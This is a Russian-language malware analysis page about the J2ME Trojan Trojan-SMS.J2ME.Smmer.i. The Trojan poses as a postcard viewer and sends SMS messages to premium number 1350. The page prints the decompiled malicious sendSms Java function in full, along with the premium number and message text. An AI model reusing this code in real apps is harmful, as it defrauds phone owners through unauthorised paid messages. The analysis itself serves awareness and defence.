
Java вирус Trojan-SMS.J2ME.Smmer.i
Троянская программа, поражающая мобильные телефоны, использующие Java (J2ME). Мидлет осуществляет несанкционированную пользователем отсылку SMS-сообщений на платные номера. Является JAR-архивом, содержащим набор Java-классов. Имеет размер 28734 байт. Необходимым условием для исполнения программы, содержащейся в архиве с именем «mms5.jar», является наличие в архиве файла с именем «manifest.mf» в каталоге «meta-inf».
Содержание JAR-архива:
Вредоносный мидлет устанавливается в телефоне под именем "mms".
Выводимые в ходе выполнения мидлета текстовые строки, а также номер для отправки SMS-сообщения и его текст содержатся в зашифрованном виде в файле "show.pic". После расшифровки содержимое файла выглядит следующим образом:
"Посмотреть Открытку?"


При нажатии на кнопку «Да» происходит запуск функции «sendSms», при успешном выполнении которой открывается окно, в котором приведена картинка с поцелуем. При нажатии на кнопку «Нет» приложение «ОТКРЫТКА» завершает свою работу.
В ходе выполнения функции «sendSms» происходит оправка смс-сообщения на номер «1350» с текстом «4969991 543».
Номер «1350» и текст «4969991 543» берутся из файла с именем «1.gif».
Номер «1350» и текст «4969991 543» берутся из файла с именем «1.gif».
Вредоносная функция «sendSms»:
public boolean sendSms() {
boolean flag = true;
if(this.isRecordstoreExists()) {
return flag;
} else {
try {
int ex = 0;
String s1 = this.getResourceText("/1.gif");
int i;
while((i = s1.indexOf("[", ex)) >= ex) {
int crs = s1.indexOf(":", i);
int l;
ex = l = s1.indexOf("]", crs);
String obj = s1.substring(i + 1, crs);
String s = s1.substring(crs + 1, l);
TextMessage textmessage;
MessageConnection obj1;
textmessage = (TextMessage)((MessageConnection)(obj1 = (MessageConnection)Con
nector.open((String)("sms://" + obj)))).newMessage("text")).setPayloadText(s);
((MessageConnection)((MessageConnection)obj1)).send(textmessage);
((MessageConnection)((MessageConnection)obj1)).close();
}
boolean crs1 = this.createRecordstore();
if(crs1) {
System.out.println("Recordstore Created");
}
} catch (SecurityException var10) {
flag = false;
} catch (Exception var11) {
flag = false;
var11.printStackTrace();
}
return flag;
}
}
В итоге просмотр этой милой картинки может обойтись вам в 300 рублей.
Твитнуть
Поделиться
Поделиться
Плюсануть
Отправить
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами сайта.
Рекомендуем также
Как установить приложения iOS 7 для iOS 6?
Методы установки приложений iOS 7 для iOS 6!...
1010! (Ten ten) рекорд
Взлом рекорда в игре 1010! (ten ten) на андроид...
PixelKnot или Как скрыть информацию в картинке?
Pixelknot это Android приложение, которое позволяет пользователям скрывать текстовые сообщения в...
Apk Manager 5.1 Rus
Apk Manager может распаковывать, компилировать, декомпилировать и тд. программы для Android....
Комментарии (1)
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.